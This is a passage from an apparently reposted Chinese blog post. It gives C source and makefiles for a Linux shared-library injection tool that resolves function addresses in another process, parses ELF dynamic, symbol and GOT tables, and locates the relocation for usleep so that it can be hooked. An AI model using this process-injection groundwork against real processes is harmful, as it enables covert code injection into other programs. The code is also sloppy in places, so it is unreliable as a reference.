  36. pch = strtok( line, "-" );
  37. addr = strtoul( pch, NULL, 16 );
  38. if (addr == 0x8000)
  39. addr = 0;
  40. break;
  41. }
  42. }
  43. fclose(fp) ;
  44. }
  45. return (void *)addr;
  46. }
  47. int find_pid_of(const char *process_name)
  48. {
  49. int id;
  50. pid_t pid = -1;
  51. DIR* dir;
  52. FILE *fp;
  53. char filename[32];
  54. char cmdline[256];
  55. struct dirent * entry;
  56. if (process_name == NULL)
  57. return -1;
  58. dir = opendir("/proc");
  59. if (dir == NULL)
  60. return -1;
  61. while((entry = readdir(dir)) != NULL) {
  62. id = atoi(entry->d_name);
  63. if (id != 0) {
  64. sprintf(filename, "/proc/%d/cmdline", id);
  65. fp = fopen(filename, "r");
  66. if (fp) {
  67. fgets(cmdline, sizeof(cmdline), fp);
  68. fclose(fp);
  69. if (strcmp(process_name, cmdline) == 0) {
  70. /* process found */
  71. pid = id;
  72. break;
  73. }
  74. }
  75. }
  76. }
  77. closedir(dir);
  78. return pid;
  79. }
  80. void* get_remote_addr(pid_t target_pid, const char* module_name, char* fnname)
  81. {
  82. void* local_handle, *remote_handle;
  83. void* local_addr;
  84. void* handle = dlopen( "/lib/i386-linux-gnu/libdl-2.19.so",RTLD_NOW| RTLD_GLOBAL);
  85. local_addr = dlsym(handle,fnname);
  86. local_handle = get_module_base(-1, module_name);
  87. remote_handle = get_module_base(target_pid, module_name);
  88. printf("[+] get_remote_addr: local[%x], remote[%x] local_addr[%x]\n", local_handle, remote_handle,local_addr);
  89. void * ret_addr = (void *)((uint32_t)local_addr - (uint32_t)local_handle)+ (uint32_t)remote_handle;
  90. return ret_addr;
  91. }
  92. #define PRINT(a,ehdr) printf(#a"=%x\n",ehdr->a);
  93. #define PRINTA4(a,ehdr) printf(#a"=%2.2x %c%c%c\n",ehdr->a[0],ehdr->a[1],ehdr->a[2],ehdr->a[3]);
  94. void printehdr(Elf32_Ehdr *ehdr)
  95. {
  96. puts("---------------------------");
  97. PRINTA4(e_ident,ehdr)
  98. PRINT(e_type,ehdr)
  99. PRINT(e_machine,ehdr)
  100. PRINT(e_version,ehdr)
  101. PRINT(e_entry,ehdr)
  102. PRINT(e_phoff,ehdr)
  103. PRINT(e_shoff,ehdr)
  104. PRINT(e_flags,ehdr)
  105. PRINT(e_ehsize,ehdr)
  106. PRINT(e_phentsize,ehdr)
  107. PRINT(e_phnum,ehdr)
  108. PRINT(e_shentsize,ehdr)
  109. PRINT(e_shnum,ehdr)
  110. PRINT(e_shstrndx,ehdr)
  111. printf("ehsize=%x phsize=%x shsize=%x\n",sizeof(Elf32_Ehdr),sizeof(Elf32_Phdr),sizeof(Elf32_Shdr));
  112. }
  113. #define PRINTSWITCH(a,type) if(a==type){puts(#a);return;}
  114. void printptype(int type)
  115. {
  116. PRINTSWITCH(PT_NULL,type)
  117. PRINTSWITCH(PT_LOAD,type)
  118. PRINTSWITCH(PT_DYNAMIC,type)
  119. PRINTSWITCH(PT_INTERP,type)
  120. PRINTSWITCH(PT_NOTE,type)
  121. PRINTSWITCH(PT_SHLIB,type)
  122. PRINTSWITCH(PT_PHDR,type)
  123. PRINTSWITCH(PT_TLS,type)
  124. PRINTSWITCH(PT_NUM,type)
  125. PRINTSWITCH(PT_LOOS,type)
  126. PRINTSWITCH(PT_GNU_EH_FRAME,type)
  127. PRINTSWITCH(PT_GNU_STACK,type)
  128. PRINTSWITCH(PT_GNU_RELRO,type)
  129. PRINTSWITCH(PT_LOSUNW,type)
  130. PRINTSWITCH(PT_SUNWBSS,type)
  131. PRINTSWITCH(PT_SUNWSTACK,type)
  132. PRINTSWITCH(PT_HISUNW,type)
  133. PRINTSWITCH(PT_HIOS,type)
  134. PRINTSWITCH(PT_LOPROC,type)
  135. PRINTSWITCH(PT_HIPROC,type)
  136. }
  137. void printphdr(Elf32_Phdr *phdr)
  138. {
  139. puts("---------------------------");
  140. printptype(phdr->p_type);
  141. PRINT(p_type,phdr)
  142. PRINT(p_offset,phdr)
  143. PRINT(p_vaddr,phdr)
  144. PRINT(p_paddr,phdr)
  145. PRINT(p_filesz,phdr)
  146. PRINT(p_memsz,phdr)
  147. PRINT(p_flags,phdr)
  148. PRINT(p_align,phdr)
  149. }
  150. void printdyntag(int d_tag)
  151. {
  152. PRINTSWITCH(DT_NULL,d_tag)
  153. PRINTSWITCH(DT_NEEDED,d_tag)
  154. PRINTSWITCH(DT_PLTRELSZ,d_tag)
  155. PRINTSWITCH(DT_PLTGOT,d_tag)
  156. PRINTSWITCH(DT_HASH,d_tag)
  157. PRINTSWITCH(DT_STRTAB,d_tag)
  158. PRINTSWITCH(DT_SYMTAB,d_tag)
  159. PRINTSWITCH(DT_RELA,d_tag)
  160. PRINTSWITCH(DT_RELASZ,d_tag)
  161. PRINTSWITCH(DT_RELAENT,d_tag)
  162. PRINTSWITCH(DT_STRSZ,d_tag)
  163. PRINTSWITCH(DT_SYMENT,d_tag)
  164. PRINTSWITCH(DT_INIT,d_tag)
  165. PRINTSWITCH(DT_FINI,d_tag)
  166. PRINTSWITCH(DT_SONAME,d_tag)
  167. PRINTSWITCH(DT_RPATH,d_tag)
  168. PRINTSWITCH(DT_SYMBOLIC,d_tag)
  169. PRINTSWITCH(DT_REL,d_tag)
  170. PRINTSWITCH(DT_RELSZ,d_tag)
  171. PRINTSWITCH(DT_RELENT,d_tag)
  172. PRINTSWITCH(DT_PLTREL,d_tag)
  173. PRINTSWITCH(DT_DEBUG,d_tag)
  174. PRINTSWITCH(DT_TEXTREL,d_tag)
  175. PRINTSWITCH(DT_JMPREL,d_tag)
  176. PRINTSWITCH(DT_BIND_NOW,d_tag)
  177. PRINTSWITCH(DT_INIT_ARRAY,d_tag)
  178. PRINTSWITCH(DT_FINI_ARRAY,d_tag)
  179. PRINTSWITCH(DT_INIT_ARRAYSZ,d_tag)
  180. PRINTSWITCH(DT_FINI_ARRAYSZ,d_tag)
  181. PRINTSWITCH(DT_RUNPATH,d_tag)
  182. PRINTSWITCH(DT_FLAGS,d_tag)
  183. PRINTSWITCH(DT_ENCODING,d_tag)
  184. PRINTSWITCH(DT_PREINIT_ARRAY,d_tag)
  185. PRINTSWITCH(DT_PREINIT_ARRAYSZ,d_tag)
  186. PRINTSWITCH(DT_NUM,d_tag)
  187. PRINTSWITCH(DT_LOOS,d_tag)
  188. PRINTSWITCH(DT_HIOS,d_tag)
  189. PRINTSWITCH(DT_LOPROC,d_tag)
  190. PRINTSWITCH(DT_HIPROC,d_tag)
  191. PRINTSWITCH(DT_PROCNUM,d_tag)
  192. PRINTSWITCH(DT_VALRNGLO,d_tag)
  193. PRINTSWITCH(DT_GNU_PRELINKED,d_tag)
  194. PRINTSWITCH(DT_GNU_CONFLICTSZ,d_tag)
  195. PRINTSWITCH(DT_GNU_LIBLISTSZ,d_tag)
  196. PRINTSWITCH(DT_CHECKSUM,d_tag)
  197. PRINTSWITCH(DT_PLTPADSZ,d_tag)
  198. PRINTSWITCH(DT_MOVEENT,d_tag)
  199. PRINTSWITCH(DT_MOVESZ,d_tag)
  200. PRINTSWITCH(DT_FEATURE_1,d_tag)
  201. PRINTSWITCH(DT_POSFLAG_1,d_tag)
  202. PRINTSWITCH(DT_SYMINSZ,d_tag)
  203. PRINTSWITCH(DT_SYMINENT,d_tag)
  204. PRINTSWITCH(DT_VALRNGHI,d_tag)
  205. PRINTSWITCH(DT_ADDRRNGLO,d_tag)
  206. PRINTSWITCH(DT_GNU_HASH,d_tag)
  207. PRINTSWITCH(DT_TLSDESC_PLT,d_tag)
  208. PRINTSWITCH(DT_TLSDESC_GOT,d_tag)
  209. PRINTSWITCH(DT_GNU_CONFLICT,d_tag)
  210. PRINTSWITCH(DT_GNU_LIBLIST,d_tag)
  211. PRINTSWITCH(DT_CONFIG,d_tag)
  212. PRINTSWITCH(DT_DEPAUDIT,d_tag)
  213. PRINTSWITCH(DT_AUDIT,d_tag)
  214. PRINTSWITCH(DT_PLTPAD,d_tag)
  215. PRINTSWITCH(DT_MOVETAB,d_tag)
  216. PRINTSWITCH(DT_SYMINFO,d_tag)
  217. PRINTSWITCH(DT_ADDRRNGHI,d_tag)
  218. PRINTSWITCH(DT_ADDRNUM,d_tag)
  219. PRINTSWITCH(DT_VERSYM,d_tag)
  220. PRINTSWITCH(DT_RELACOUNT,d_tag)
  221. PRINTSWITCH(DT_RELCOUNT,d_tag)
  222. PRINTSWITCH(DT_FLAGS_1,d_tag)
  223. PRINTSWITCH(DT_VERDEF,d_tag)
  224. PRINTSWITCH(DT_VERDEFNUM,d_tag)
  225. PRINTSWITCH(DT_VERNEED,d_tag)
  226. PRINTSWITCH(DT_VERNEEDNUM,d_tag)
  227. PRINTSWITCH(DT_VERSIONTAGNUM,d_tag)
  228. PRINTSWITCH(DT_AUXILIARY,d_tag)
  229. PRINTSWITCH(DT_FILTER,d_tag)
  230. PRINTSWITCH(DT_EXTRANUM,d_tag)
  231. }
  232. void printdyn(Elf32_Dyn* dyn)
  233. {
  234. puts("---------------------------");
  235. printdyntag(dyn->d_tag);
  236. PRINT(d_tag,dyn)
  237. PRINT(d_un.d_val,dyn)
  238. }
  239. void printsym(Elf32_Sym *sym,int straddr)
  240. {
  241. puts("---------------------------");
  242. char sname[40];
  243. memcpy(sname,straddr+sym->st_name,40);
  244. if(sym->st_name)puts(straddr+sym->st_name);
  245. PRINT(st_name,sym)
  246. PRINT(st_value,sym)
  247. PRINT(st_size,sym)
  248. PRINT(st_info,sym)
  249. PRINT(st_other,sym)
  250. PRINT(st_shndx,sym)
  251. }
  252. void printlinkmap(struct link_map*lm)
  253. {
  254. puts("---------------");
  255. PRINT(l_addr,lm)
  256. PRINT(l_ld,lm)
  257. puts(lm->l_name);
  258. }
  259. int enumprocesssym(int pid,const char*libname,const char*fnname)
  260. {
  261. unsigned long modbase = (unsigned long)get_module_base(pid,libname);
  262. unsigned long phdr_addr,shdr_addr, dyn_addr;
  263. int i;
  264. if(modbase==0){
  265. printf("%d[%s] get_module_base=0",pid,libname);
  266. return;
  267. }
  268. printf("modbase=%x\n",modbase);
  269. Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
  270. Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
  271. Elf32_Shdr *shdr = (Elf32_Shdr *) malloc(sizeof(Elf32_Shdr));
  272. Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
  273. Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
  274. struct link_map* linknode = (struct link_map*)malloc(sizeof(struct link_map));
  275. //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
  276. memcpy(ehdr,modbase,sizeof(Elf32_Ehdr));
  277. printehdr(ehdr);
  278. int offsetdyn =0;
  279. int dynsize = 0;
  280. for(i=0;i<ehdr->e_phnum;i++){
  281. memcpy(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
  282. printphdr(phdr);
  283. if(PT_DYNAMIC==phdr->p_type){
  284. offsetdyn = phdr->p_vaddr;
  285. dynsize = phdr->p_memsz;
  286. }
  287. }
  288. int symaddr=0;
  289. int symsize=0;
  290. int straddr=0;
  291. int gotaddr=0;
  292. int mapaddr=0;
  293. for(i=0;i<dynsize/sizeof(Elf32_Dyn);i++){
  294. memcpy(dyn,modbase+offsetdyn+(i*sizeof(Elf32_Dyn)),sizeof(Elf32_Dyn));
  295. printdyn(dyn);
  296. if(DT_SYMTAB==dyn->d_tag){
  297. symaddr = dyn->d_un.d_val;
  298. }else if(DT_STRTAB==dyn->d_tag){
  299. straddr=dyn->d_un.d_val;
  300. }else if(DT_PLTGOT==dyn->d_tag){
  301. gotaddr=dyn->d_un.d_val;
  302. }
  303. }
  304. for(i=0;;i++){
  305. memcpy(sym,symaddr+(i*sizeof(Elf32_Sym)),sizeof(Elf32_Sym));
  306. printsym(sym,straddr);
  307. if(sym->st_name){
  308. char sname[40];
  309. memcpy(sname,straddr+sym->st_name,40);
  310. if(!strcmp(sname,fnname)){
  311. return modbase+sym->st_value;
  312. }
  313. }
  314. }
  315. return 0;
  316. Elf32_Addr gotv=0;
  317. puts("----got------");
  318. int linknodeaddr=0;
  319. for(i=0;i<60;i++){
  320. memcpy(&gotv,gotaddr+(i*sizeof(Elf32_Addr)),sizeof(Elf32_Addr));
  321. printf("%x\n",gotv);
  322. if(gotv==0)break;
  323. if(i==1)mapaddr=gotv;
  324. }
  325. i=0;
  326. int laddr = mapaddr;
  327. while(1)
  328. {
  329. memcpy(linknode,laddr,sizeof(struct link_map));
  330. //printlinkmap(linknode);
  331. if(linknode->l_next==0)break;
  332. laddr = linknode->l_next;
  333. }
  334. while(1)
  335. {
  336. memcpy(linknode,laddr,sizeof(struct link_map));
  337. printlinkmap(linknode);
  338. if(linknode->l_prev==0)break;
  339. laddr = linknode->l_prev;
  340. }
  341. return;
  342. }
  343. void printrel(Elf32_Rel*rel,int straddr,int symaddr)
  344. {
  345. printf("-----rel------\n");
  346. PRINT(r_offset,rel)
  347. PRINT(r_info,rel)
  348. //PRINTSWITCH(DT_NULL,d_tag)
  349. }
  350. int g_symtab=0,g_strtab=0,g_jmprel=0,g_totalrelsize=0,g_relsize=0,g_nrels=0;
  351. void get_dyn_info(int pid,int dynaddr)
  352. {
  353. Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
  354. int i = 0;
  355. memcpy( dyn,dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
  356. i++;
  357. while (dyn->d_tag) {
  358. switch (dyn->d_tag) {
  359. case DT_SYMTAB:
  360. puts("DT_SYMTAB");
  361. g_symtab = dyn->d_un.d_ptr;
  362. break;
  363. case DT_STRTAB:
  364. g_strtab = dyn->d_un.d_ptr;
  365. puts("DT_STRTAB");
  366. break;
  367. case DT_JMPREL:
  368. g_jmprel = dyn->d_un.d_ptr;
  369. puts("DT_JMPREL");
  370. //printf("jmprel\t %p\n", g_jmprel);
  371. break;
  372. case DT_PLTRELSZ:
  373. g_totalrelsize = dyn->d_un.d_val;
  374. puts("DT_PLTRELSZ");
  375. break;
  376. case DT_RELAENT:
  377. g_relsize = dyn->d_un.d_val;
  378. puts("DT_RELAENT");
  379. break;
  380. case DT_RELENT:
  381. g_relsize = dyn->d_un.d_val;
  382. puts("DT_RELENT");
  383. break;
  384. }
  385. memcpy(dyn, dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn));
  386. i++;
  387. }
  388. g_nrels = g_totalrelsize / g_relsize;
  389. free(dyn);
  390. printf("ok g_nrels=%d\n",g_nrels);
  391. }
  392. unsigned long find_sym_in_rel(int pid, char *sym_name,int dynaddr)
  393. {
  394. Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
  395. Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
  396. int i;
  397. unsigned long ret;
  398. char str[50];
  399. get_dyn_info(pid,dynaddr);
  400. for (i = 0; i < g_nrels; i++) {
  401. memcpy(rel, (unsigned long) (g_jmprel + i * sizeof(Elf32_Rel)),sizeof(Elf32_Rel));
  402. if (ELF32_R_SYM(rel->r_info)) {
  403. memcpy(sym,g_symtab + ELF32_R_SYM(rel->r_info) * sizeof(Elf32_Sym), sizeof(Elf32_Sym));
  404. memcpy(str,g_strtab + sym->st_name,50);
  405. if (strcmp(str, sym_name) == 0) {
  406. break;
  407. }
  408. }
  409. }
  410. if (i == g_nrels)
  411. ret = 0;
  412. else
  413. ret = rel->r_offset;
  414. free(rel);
  415. free(sym);
  416. return ret;
  417. }
  418. int enumprocrel(int pid,const char*libname)
  419. {
  420. unsigned long modbase = (unsigned long)get_module_base(pid,libname);
  421. unsigned long phdr_addr,shdr_addr, dyn_addr;
  422. int i;
  423. if(modbase==0){
  424. printf("%d[%s] get_module_base=0\n",pid,libname);
  425. return;
  426. }
  427. printf("modbase=%x\n",modbase);
  428. Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr));
  429. Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr));
  430. //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr));
  431. memcpy(ehdr,modbase,sizeof(Elf32_Ehdr));
  432. printehdr(ehdr);
  433. int offsetdyn =0;
  434. int dynsize = 0;
  435. for(i=0;i<ehdr->e_phnum;i++){
  436. memcpy(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr));
  437. printphdr(phdr);
  438. if(PT_DYNAMIC==phdr->p_type){
  439. offsetdyn = phdr->p_vaddr;
  440. dynsize = phdr->p_memsz;
  441. free(ehdr);
  442. free(phdr);
  443. if(offsetdyn<0x08000000)return modbase+offsetdyn;
  444. return offsetdyn;
  445. }
  446. }
  447. return 0;
  448. }
  449. int main(int argc, char *argv[])
  450. {
  451. int c=0;
  452. usleep(10000);
  453. //void * handle = dlopen("/home/user1/injectso/inject/so.so",RTLD_NOW| RTLD_GLOBAL);
  454. //printf("handle = %x\n",handle);
  455. int address=enumprocrel(-1,"loop");
  456. printf("address=%x\n",address);
  457. int sleeprel=find_sym_in_rel(-1,"usleep",address);
  458. printf("address=%x sleeprel=%x\n",address,sleeprel);
  459. while(1)usleep(1000000);
  460. return 0;
  461. }

makefile

  1. all: hook so
  2. hook:
  3. gcc -o hook hook.c p_dbg.c p_elf.c -ldl
  4. so:
  5. gcc -shared -o so.so -fPIC so.c -nostdlib -lpthread
  6. clean:
  7. rm hook
  8. rm so.so
  9. rm *~

  1. all:
  2. gcc -o loop s.c -ldl
  3. clean:
  4. rm loop
  5. rm *~

代码下载地址

http://download.csdn.net/detail/q123456789098/9609159

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/人工智能uu/article/detail/872334
推荐阅读
相关标签
  

闽ICP备14008679号